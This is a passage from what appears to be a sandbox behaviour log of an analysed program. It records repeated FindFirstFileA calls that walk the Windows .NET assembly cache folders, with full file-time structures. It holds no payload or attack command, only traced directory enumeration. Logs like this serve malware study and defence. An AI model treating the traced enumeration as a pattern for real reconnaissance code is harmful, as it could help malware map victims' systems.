lpFindFileData=0x4ab3c8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xa21d9876, ftCreationTime.dwHighDateTime=0x1cbf8eb, ftLastAccessTime.dwLowDateTime=0x6bbc5c0, ftLastAccessTime.dwHighDateTime=0x1d5c25a, ftLastWriteTime.dwLowDateTime=0x6bbc5c0, ftLastWriteTime.dwHighDateTime=0x1d5c25a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x36000234, cFileName=".", cAlternateFileName="")) returned 0x549710 [0230.487] FindFirstFileA (in: lpFileName="C:\\\\Windows\\assembly\\GAC_MSIL\\MCESidebarCtrl\\6.1.0.0__31bf3856ad364e35\\*", lpFindFileData=0x4aaa20 | out: lpFindFileData=0x4aaa20*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xa21d9876, ftCreationTime.dwHighDateTime=0x1cbf8eb, ftLastAccessTime.dwLowDateTime=0x6be2720, ftLastAccessTime.dwHighDateTime=0x1d5c25a, ftLastWriteTime.dwLowDateTime=0x6be2720, ftLastWriteTime.dwHighDateTime=0x1d5c25a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x36000234, cFileName=".", cAlternateFileName="")) returned 0x549810 [0230.492] FindFirstFileA (in: lpFileName="C:\\\\Windows\\assembly\\GAC_MSIL\\mcglidhostobj\\*", lpFindFileData=0x4ab3c8 | out: lpFindFileData=0x4ab3c8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xa21d9876, ftCreationTime.dwHighDateTime=0x1cbf8eb, ftLastAccessTime.dwLowDateTime=0x6be2720, ftLastAccessTime.dwHighDateTime=0x1d5c25a, ftLastWriteTime.dwLowDateTime=0x6be2720, ftLastWriteTime.dwHighDateTime=0x1d5c25a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x36000234, cFileName=".", cAlternateFileName="")) returned 0x549710 [0230.497] FindFirstFileA (in: lpFileName="C:\\\\Windows\\assembly\\GAC_MSIL\\mcglidhostobj\\6.1.0.0__31bf3856ad364e35\\*", lpFindFileData=0x4aaa20 | out: lpFindFileData=0x4aaa20*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xa21d9876, ftCreationTime.dwHighDateTime=0x1cbf8eb, ftLastAccessTime.dwLowDateTime=0x6be2720, ftLastAccessTime.dwHighDateTime=0x1d5c25a, ftLastWriteTime.dwLowDateTime=0x6be2720, ftLastWriteTime.dwHighDateTime=0x1d5c25a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x36000234, cFileName=".", cAlternateFileName="")) returned 0x549810 [0230.502] FindFirstFileA (in: lpFileName="C:\\\\Windows\\assembly\\GAC_MSIL\\mcplayerinterop\\*", lpFindFileData=0x4ab3c8 | out: lpFindFileData=0x4ab3c8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xa21d9876, ftCreationTime.dwHighDateTime=0x1cbf8eb, ftLastAccessTime.dwLowDateTime=0x6c08880, ftLastAccessTime.dwHighDateTime=0x1d5c25a, ftLastWriteTime.dwLowDateTime=0x6c08880, ftLastWriteTime.dwHighDateTime=0x1d5c25a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x36000234, cFileName=".", cAlternateFileName="")) returned 0x549710 [0230.507] FindFirstFileA (in: lpFileName="C:\\\\Windows\\assembly\\GAC_MSIL\\mcplayerinterop\\6.1.0.0__31bf3856ad364e35\\*", lpFindFileData=0x4aaa20 | out: lpFindFileData=0x4aaa20*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xa21d9876, ftCreationTime.dwHighDateTime=0x1cbf8eb, ftLastAccessTime.dwLowDateTime=0x6c08880, ftLastAccessTime.dwHighDateTime=0x1d5c25a, ftLastWriteTime.dwLowDateTime=0x6c08880, ftLastWriteTime.dwHighDateTime=0x1d5c25a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x36000234, cFileName=".", cAlternateFileName="")) returned 0x549810 [0230.513] FindFirstFileA (in: lpFileName="C:\\\\Windows\\assembly\\GAC_MSIL\\mcstore\\*", lpFindFileData=0x4ab3c8 | out: lpFindFileData=0x4ab3c8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xa21d9876, ftCreationTime.dwHighDateTime=0x1cbf8eb, ftLastAccessTime.dwLowDateTime=0x6c08880, ftLastAccessTime.dwHighDateTime=0x1d5c25a, ftLastWriteTime.dwLowDateTime=0x6c08880, ftLastWriteTime.dwHighDateTime=0x1d5c25a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x36000234, cFileName=".", cAlternateFileName="")) returned 0x549710 [0230.518] FindFirstFileA (in: lpFileName="C:\\\\Windows\\assembly\\GAC_MSIL\\mcstore\\6.1.0.0__31bf3856ad364e35\\*", lpFindFileData=0x4aaa20 | out: lpFindFileData=0x4aaa20*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xa21d9876, ftCreationTime.dwHighDateTime=0x1cbf8eb, ftLastAccessTime.dwLowDateTime=0x6c2e9e0, ftLastAccessTime.dwHighDateTime=0x1d5c25a, ftLastWriteTime.dwLowDateTime=0x6c2e9e0, ftLastWriteTime.dwHighDateTime=0x1d5c25a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x36000234, cFileName=".", cAlternateFileName="")) returned 0x549810 [0230.524] FindFirstFileA (in: lpFileName="C:\\\\Windows\\assembly\\GAC_MSIL\\Microsoft.ApplicationId.Framework\\*", lpFindFileData=0x4ab3c8 | out: lpFindFileData=0x4ab3c8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xa21d9876, ftCreationTime.dwHighDateTime=0x1cbf8eb, ftLastAccessTime.dwLowDateTime=0x6c2e9e0, ftLastAccessTime.dwHighDateTime=0x1d5c25a, ftLastWriteTime.dwLowDateTime=0x6c2e9e0, ftLastWriteTime.dwHighDateTime=0x1d5c25a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x36000234, cFileName=".", cAlternateFileName="")) returned 0x549710 [0230.538] FindFirstFileA (in: lpFileName="C:\\\\Windows\\assembly\\GAC_MSIL\\Microsoft.ApplicationId.Framework\\6.1.0.0__31bf3856ad364e35\\*", lpFindFileData=0x4aaa20 | out: lpFindFileData=0x4aaa20*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xa21d9876, ftCreationTime.dwHighDateTime=0x1cbf8eb, ftLastAccessTime.dwLowDateTime=0x6c54b40, ftLastAccessTime.dwHighDateTime=0x1d5c25a, ftLastWriteTime.dwLowDateTime=0x6c54b40, ftLastWriteTime.dwHighDateTime=0x1d5c25a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x36000234, cFileName=".", cAlternateFileName="")) returned 0x549810 [0230.543] FindFirstFileA (in: lpFileName="C:\\\\Windows\\assembly\\GAC_MSIL\\Microsoft.ApplicationId.Framework.Resources\\*", lpFindFileData=0x4ab3c8 | out: lpFindFileData=0x4ab3c8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xa21ffae5, ftCreationTime.dwHighDateTime=0x1cbf8eb, ftLastAccessTime.dwLowDateTime=0x6c54b40, ftLastAccessTime.dwHighDateTime=0x1d5c25a, ftLastWriteTime.dwLowDateTime=0x6c54b40, ftLastWriteTime.dwHighDateTime=0x1d5c25a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x36000234, cFileName=".", cAlternateFileName="")) returned 0x549710 [0230.548] FindFirstFileA (in: lpFileName="C:\\\\Windows\\assembly\\GAC_MSIL\\Microsoft.ApplicationId.Framework.Resources\\6.1.0.0_en_31bf3856ad364e35\\*", lpFindFileData=0x4aaa20 | out: lpFindFileData=0x4aaa20*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xa21ffae5, ftCreationTime.dwHighDateTime=0x1cbf8eb, ftLastAccessTime.dwLowDateTime=0x6c54b40, ftLastAccessTime.dwHighDateTime=0x1d5c25a, ftLastWriteTime.dwLowDateTime=0x6c54b40, ftLastWriteTime.dwHighDateTime=0x1d5c25a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x36000234, cFileName=".", cAlternateFileName="")) returned 0x549810 [0230.553] FindFirstFileA (in: lpFileName="C:\\\\Windows\\assembly\\GAC_MSIL\\Microsoft.ApplicationId.RuleWizard\\*", lpFindFileData=0x4ab3c8 | out: lpFindFileData=0x4ab3c8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xa21ffae5, ftCreationTime.dwHighDateTime=0x1cbf8eb, ftLastAccessTime.dwLowDateTime=0x6c7aca0, ftLastAccessTime.dwHighDateTime=0x1d5c25a, ftLastWriteTime.dwLowDateTime=0x6c7aca0, ftLastWriteTime.dwHighDateTime=0x1d5c25a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x36000234, cFileName=".", cAlternateFileName="")) returned 0x549710 [0230.561] FindFirstFileA (in: lpFileName="C:\\\\Windows\\assembly\\GAC_MSIL\\Microsoft.ApplicationId.RuleWizard\\6.1.0.0__31bf3856ad364e35\\*", lpFindFileData=0x4aaa20 | out: lpFindFileData=0x4aaa20*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xa21ffae5, ftCreationTime.dwHighDateTime=0x1cbf8eb, ftLastAccessTime.dwLowDateTime=0x6c7aca0, ftLastAccessTime.dwHighDateTime=0x1d5c25a, ftLastWriteTime.dwLowDateTime=0x6c7aca0, ftLastWriteTime.dwHighDateTime=0x1d5c25a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x36000234, cFileName=".", cAlternateFileName="")) returned 0x549810 [0230.566] FindFirstFileA (in: lpFileName="C:\\\\Windows\\assembly\\GAC_MSIL\\Microsoft.ApplicationId.RuleWizard.Resources\\*", lpFindFileData=0x4ab3c8 | out: lpFindFileData=0x4ab3c8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xa21ffae5, ftCreationTime.dwHighDateTime=0x1cbf8eb, ftLastAccessTime.dwLowDateTime=0x6ca0e00, ftLastAccessTime.dwHighDateTime=0x1d5c25a, ftLastWriteTime.dwLowDateTime=0x6ca0e00, ftLastWriteTime.dwHighDateTime=0x1d5c25a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x36000234, cFileName=".", cAlternateFileName="")) returned 0x549710 [0230.572] FindFirstFileA (in: lpFileName="C:\\\\Windows\\assembly\\GAC_MSIL\\Microsoft.ApplicationId.RuleWizard.Resources\\6.1.0.0_en_31bf3856ad364e35\\*", lpFindFileData=0x4aaa20 | out: lpFindFileData=0x4aaa20*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xa21ffae5, ftCreationTime.dwHighDateTime=0x1cbf8eb, ftLastAccessTime.dwLowDateTime=0x6ca0e00, ftLastAccessTime.dwHighDateTime=0x1d5c25a, ftLastWriteTime.dwLowDateTime=0x6ca0e00, ftLastWriteTime.dwHighDateTime=0x1d5c25a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x36000234, cFileName=".", cAlternateFileName="")) returned 0x549810 [0230.578] FindFirstFileA (in: lpFileName="C:\\\\Windows\\assembly\\GAC_MSIL\\Microsoft.BackgroundIntelligentTransfer.Management\\*", lpFindFileData=0x4ab3c8 | out: lpFindFileData=0x4ab3c8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x81a4fe61, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x6ca0e00, ftLastAccessTime.dwHighDateTime=0x1d5c25a, ftLastWriteTime.dwLowDateTime=0x6ca0e00, ftLastWriteTime.dwHighDateTime=0x1d5c25a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x36000234, cFileName=".", cAlternateFileName="")) returned 0x549710 [0230.583] FindFirstFileA (in: lpFileName="C:\\\\Windows\\assembly\\GAC_MSIL\\Microsoft.BackgroundIntelligentTransfer.Management\\1.0.0.0__31bf3856ad364e35\\*", lpFindFileData=0x4aaa20 | out: lpFindFileData=0x4aaa20*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x81a4fe61, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x6cc6f60, ftLastAccessTime.dwHighDateTime=0x1d5c25a, ftLastWriteTime.dwLowDateTime=0x6cc6f60, ftLastWriteTime.dwHighDateTime=0x1d5c25a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x36000234, cFileName=".", cAlternateFileName="")) returned 0x549810 [0230.588] FindFirstFileA (in: lpFileName="C:\\\\Windows\\assembly\\GAC_MSIL\\Microsoft.BackgroundIntelligentTransfer.Management.Resources\\*", lpFindFileData=0x4ab3c8 | out: lpFindFileData=0x4ab3c8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x382e2403, ftCreationTime.dwHighDateTime=0x1ca0445, ftLastAccessTime.dwLowDateTime=0x6cc6f60, ftLastAccessTime.dwHighDateTime=0x1d5c25a, ftLastWriteTime.dwLowDateTime=0x6cc6f60, ftLastWriteTime.dwHighDateTime=0x1d5c25a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x36000234, cFileName=".", cAlternateFileName="")) returned 0x549710 [0230.593] FindFirstFileA (in: lpFileName="C:\\\\Windows\\assembly\\GAC_MSIL\\Microsoft.BackgroundIntelligentTransfer.Management.Resources\\1.0.0.0_en_31bf3856ad364e35\\*", lpFindFileData=0x4aaa20 | out: lpFindFileData=0x4aaa20*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x382e2403, ftCreationTime.dwHighDateTime=0x1ca0445, ftLastAccessTime.dwLowDateTime=0x6cc6f60, ftLastAccessTime.dwHighDateTime=0x1d5c25a, ftLastWriteTime.dwLowDateTime=0x6cc6f60, ftLastWriteTime.dwHighDateTime=0x1d5c25a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x36000234, cFileName=".", cAlternateFileName="")) returned 0x549810 [0230.598] FindFirstFileA (in: lpFileName="C:\\\\Windows\\assembly\\GAC_MSIL\\Microsoft.Build.Conversion.v3.5\\*", lpFindFileData=0x4ab3c8 | out: lpFindFileData=0x4ab3c8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x819dda40, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x6ced0c0, ftLastAccessTime.dwHighDateTime=0x1d5c25a, ftLastWriteTime.dwLowDateTime=0x6ced0c0, ftLastWriteTime.dwHighDateTime=0x1d5c25a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x36000234, cFileName=".", cAlternateFileName="")) returned 0x549710 [0230.604] FindFirstFileA (in: lpFileName="C:\\\\Windows\\assembly\\GAC_MSIL\\Microsoft.Build.Conversion.v3.5\\3.5.0.0__b03f5f7f11d50a3a\\*", lpFindFileData=0x4aaa20 | out: lpFindFileData=0x4aaa20*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x819dda40, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x6ced0c0, ftLastAccessTime.dwHighDateTime=0x1d5c25a, ftLastWriteTime.dwLowDateTime=0x6ced0c0, ftLastWriteTime.dwHighDateTime=0x1d5c25a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x36000234, cFileName=".", cAlternateFileName="")) returned 0x549810 [0230.609] FindFirstFileA (in: lpFileName="C:\\\\Windows\\assembly\\GAC_MSIL\\Microsoft.Build.Engine\\*", lpFindFileData=0x4ab3c8 | out: lpFindFileData=0x4ab3c8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfdcd57b4, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x6ced0c0, ftLastAccessTime.dwHighDateTime=0x1d5c25a, ftLastWriteTime.dwLowDateTime=0x6ced0c0, ftLastWriteTime.dwHighDateTime=0x1d5c25a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x36000234, cFileName=".", cAlternateFileName="")) returned 0x549710 [0230.614] FindFirstFileA (in: lpFileName="C:\\\\Windows\\assembly\\GAC_MSIL\\Microsoft.Build.Engine\\2.0.0.0__b03f5f7f11d50a3a\\*", lpFindFileData=0x4aaa20 | out: lpFindFileData=0x4aaa20*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfdcd57b4, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x6d13220, ftLastAccessTime.dwHighDateTime=0x1d5c25a, ftLastWriteTime.dwLowDateTime=0x6d13220, ftLastWriteTime.dwHighDateTime=0x1d5c25a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x36000234, cFileName=".", cAlternateFileName="")) returned 0x549810 [0230.619] FindFirstFileA (in: lpFileName="C:\\\\Windows\\assembly\\GAC_MSIL\\Microsoft.Build.Engine\\3.5.0.0__b03f5f7f11d50a3a\\*", lpFindFileData=0x4aaa20 | out: lpFindFileData=0x4aaa20*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x819b78df, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x6d13220, ftLastAccessTime.dwHighDateTime=0x1d5c25a, ftLastWriteTime.dwLowDateTime=0x6d13220, ftLastWriteTime.dwHighDateTime=0x1d5c25a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x36000234, cFileName=".", cAlternateFileName="")) returned 0x549810 [0230.625] FindFirstFileA (in: lpFileName="C:\\\\Windows\\assembly\\GAC_MSIL\\Microsoft.Build.Framework\\*", lpFindFileData=0x4ab3c8 | out: lpFindFileData=0x4ab3c8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfdcd57b4, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x6d13220, ftLastAccessTime.dwHighDateTime=0x1d5c25a, ftLastWriteTime.dwLowDateTime=0x6d13220, ftLastWriteTime.dwHighDateTime=0x1d5c25a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x36000234, cFileName=".", cAlternateFileName="")) returned 0x549710 [0230.630] FindFirstFileA (in: lpFileName="C:\\\\Windows\\assembly\\GAC_MSIL\\Microsoft.Build.Framework\\2.0.0.0__b03f5f7f11d50a3a\\*", lpFindFileData=0x4aaa20 | out: lpFindFileData=0x4aaa20*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfdcd57b4, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x6d39380, ftLastAccessTime.dwHighDateTime=0x1d5c25a, ftLastWriteTime.dwLowDateTime=0x6d39380, ftLastWriteTime.dwHighDateTime=0x1d5c25a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x36000234, cFileName=".", cAlternateFileName="")) returned 0x549810 [0230.637] FindFirstFileA (in: lpFileName="C:\\\\Windows\\assembly\\GAC_MSIL\\Microsoft.Build.Framework\\3.5.0.0__b03f5f7f11d50a3a\\*", lpFindFileData=0x4aaa20 | out: lpFindFileData=0x4aaa20*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x819b78df, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x6d39380, ftLastAccessTime.dwHighDateTime=0x1d5c25a, ftLastWriteTime.dwLowDateTime=0x6d39380, ftLastWriteTime.dwHighDateTime=0x1d5c25a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x36000234, cFileName=".", cAlternateFileName="")) returned 0x549810 [0230.643] FindFirstFileA (in: lpFileName="C:\\\\Windows\\assembly\\GAC_MSIL\\Microsoft.Build.Tasks\\*", lpFindFileData=0x4ab3c8 | out: lpFindFileData=0x4ab3c8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfdcd57b4, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x6d5f4e0, ftLastAccessTime.dwHighDateTime=0x1d5c25a, ftLastWriteTime.dwLowDateTime=0x6d5f4e0, ftLastWriteTime.dwHighDateTime=0x1d5c25a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x36000234, cFileName=".", cAlternateFileName="")) returned 0x549710 [0230.648] FindFirstFileA (in: lpFileName="C:\\\\Windows\\assembly\\GAC_MSIL\\Microsoft.Build.Tasks\\2.0.0.0__b03f5f7f11d50a3a\\*", lpFindFileData=0x4aaa20 | out: lpFindFileData=0x4aaa20*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfdcd57b4, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x6d5f4e0, ftLastAccessTime.dwHighDateTime=0x1d5c25a, ftLastWriteTime.dwLowDateTime=0x6d5f4e0, ftLastWriteTime.dwHighDateTime=0x1d5c25a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x36000234, cFileName=".", cAlternateFileName="")) returned 0x549810 [0230.653] FindFirstFileA (in: lpFileName="C:\\\\Windows\\assembly\\GAC_MSIL\\Microsoft.Build.Tasks.v3.5\\*", lpFindFileData=0x4ab3c8 | out: lpFindFileData=0x4ab3c8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x81a29d00, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x6d5f4e0, ftLastAccessTime.dwHighDateTime=0x1d5c25a, ftLastWriteTime.dwLowDateTime=0x6d5f4e0, ftLastWriteTime.dwHighDateTime=0x1d5c25a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x36000234, cFileName=".", cAlternateFileName="")) returned 0x549710 [0230.666] FindFirstFileA (in: lpFileName="C:\\\\Windows\\assembly\\GAC_MSIL\\Microsoft.Build.Tasks.v3.5\\3.5.0.0__b03f5f7f11d50a3a\\*", lpFindFileData=0x4aaa20 | out: lpFindFileData=0x4aaa20*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x81a29d00, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x6d85640, ftLastAccessTime.dwHighDateTime=0x1d5c25a, ftLastWriteTime.dwLowDateTime=0x6d85640, ftLastWriteTime.dwHighDateTime=0x1d5c25a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x36000234, cFileName=".", cAlternateFileName="")) returned 0x549810 [0230.677] FindFirstFileA (in: lpFileName="C:\\\\Windows\\assembly\\GAC_MSIL\\Microsoft.Build.Utilities\\*", lpFindFileData=0x4ab3c8 | out: lpFindFileData=0x4ab3c8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfdcd57b4, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x6d85640, ftLastAccessTime.dwHighDateTime=0x1d5c25a, ftLastWriteTime.dwLowDateTime=0x6d85640, ftLastWriteTime.dwHighDateTime=0x1d5c25a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x36000234, cFileName=".", cAlternateFileName="")) returned 0x549710 [0230.689] FindFirstFileA (in: lpFileName="C:\\\\Windows\\assembly\\GAC_MSIL\\Microsoft.Build.Utilities\\2.0.0.0__b03f5f7f11d50a3a\\*", lpFindFileData=0x4aaa20 | out: lpFindFileData=0x4aaa20*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfdcd57b4, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x6dd1900, ftLastAccessTime.dwHighDateTime=0x1d5c25a, ftLastWriteTime.dwLowDateTime=0x6dd1900, ftLastWriteTime.dwHighDateTime=0x1d5c25a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x36000234, cFileName=".", cAlternateFileName="")) returned 0x549810 [0230.702] FindFirstFileA (in: lpFileName="C:\\\\Windows\\assembly\\GAC_MSIL\\Microsoft.Build.Utilities.v3.5\\*", lpFindFileData=0x4ab3c8 | out: lpFindFileData=0x4ab3c8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x819dda40, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x6dd1900, ftLastAccessTime.dwHighDateTime=0x1d5c25a, ftLastWriteTime.dwLowDateTime=0x6dd1900, ftLastWriteTime.dwHighDateTime=0x1d5c25a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x36000234, cFileName=".", cAlternateFileName="")) returned 0x549710 [0230.708] FindFirstFileA (in: lpFileName="C:\\\\Windows\\assembly\\GAC_MSIL\\Microsoft.Build.Utilities.v3.5\\3.5.0.0__b03f5f7f11d50a3a\\*", lpFindFileData=0x4aaa20 | out: lpFindFileData=0x4aaa20*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x819dda40, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x6df7a60, ftLastAccessTime.dwHighDateTime=0x1d5c25a, ftLastWriteTime.dwLowDateTime=0x6df7a60, ftLastWriteTime.dwHighDateTime=0x1d5c25a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x36000234, cFileName=".", cAlternateFileName="")) returned 0x549810 [0230.716] FindFirstFileA (in: lpFileName="C:\\\\Windows\\assembly\\GAC_MSIL\\Microsoft.BusinessData\\*", lpFindFileData=0x4ab3c8 | out: lpFindFileData=0x4ab3c8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xa61d6550, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6df7a60, ftLastAccessTime.dwHighDateTime=0x1d5c25a, ftLastWriteTime.dwLowDateTime=0x6df7a60, ftLastWriteTime.dwHighDateTime=0x1d5c25a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x36000234, cFileName=".", cAlternateFileName="")) returned 0x549710 [0230.721] FindFirstFileA (in: lpFileName="C:\\\\Windows\\assembly\\GAC_MSIL\\Microsoft.BusinessData\\14.0.0.0__71e9bce111e9429c\\*", lpFindFileData=0x4aaa20 | out: lpFindFileData=0x4aaa20*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x51b201b0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6e1dbc0, ftLastAccessTime.dwHighDateTime=0x1d5c25a, ftLastWriteTime.dwLowDateTime=0x6e1dbc0, ftLastWriteTime.dwHighDateTime=0x1d5c25a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x36000234, cFileName=".", cAlternateFileName="")) returned 0x549810 [0230.726] FindFirstFileA (in: lpFileName="C:\\\\Windows\\assembly\\GAC_MSIL\\Microsoft.GroupPolicy.Reporting\\*", lpFindFileData=0x4ab3c8 | out: lpFindFileData=0x4ab3c8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xa21ffae5, ftCreationTime.dwHighDateTime=0x1cbf8eb, ftLastAccessTime.dwLowDateTime=0x6e1dbc0, ftLastAccessTime.dwHighDateTime=0x1d5c25a, ftLastWriteTime.dwLowDateTime=0x6e1dbc0, ftLastWriteTime.dwHighDateTime=0x1d5c25a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x36000234, cFileName=".", cAlternateFileName="")) returned 0x549710 [0230.731] FindFirstFileA (in: lpFileName="C:\\\\Windows\\assembly\\GAC_MSIL\\Microsoft.GroupPolicy.Reporting\\2.0.0.0__31bf3856ad364e35\\*", lpFindFileData=0x4aaa20 | out: lpFindFileData=0x4aaa20*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xa21ffae5, ftCreationTime.dwHighDateTime=0x1cbf8eb, ftLastAccessTime.dwLowDateTime=0x6e1dbc0, ftLastAccessTime.dwHighDateTime=0x1d5c25a, ftLastWriteTime.dwLowDateTime=0x6e1dbc0, ftLastWriteTime.dwHighDateTime=0x1d5c25a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x36000234, cFileName=".", cAlternateFileName="")) returned 0x549810 [0230.737] FindFirstFileA (in: lpFileName="C:\\\\Windows\\assembly\\GAC_MSIL\\Microsoft.GroupPolicy.Reporting.Resources\\*", lpFindFileData=0x4ab3c8 | out: lpFindFileData=0x4ab3c8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xa21ffae5, ftCreationTime.dwHighDateTime=0x1cbf8eb, ftLastAccessTime.dwLowDateTime=0x6e43d20, ftLastAccessTime.dwHighDateTime=0x1d5c25a, ftLastWriteTime.dwLowDateTime=0x6e43d20, ftLastWriteTime.dwHighDateTime=0x1d5c25a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, 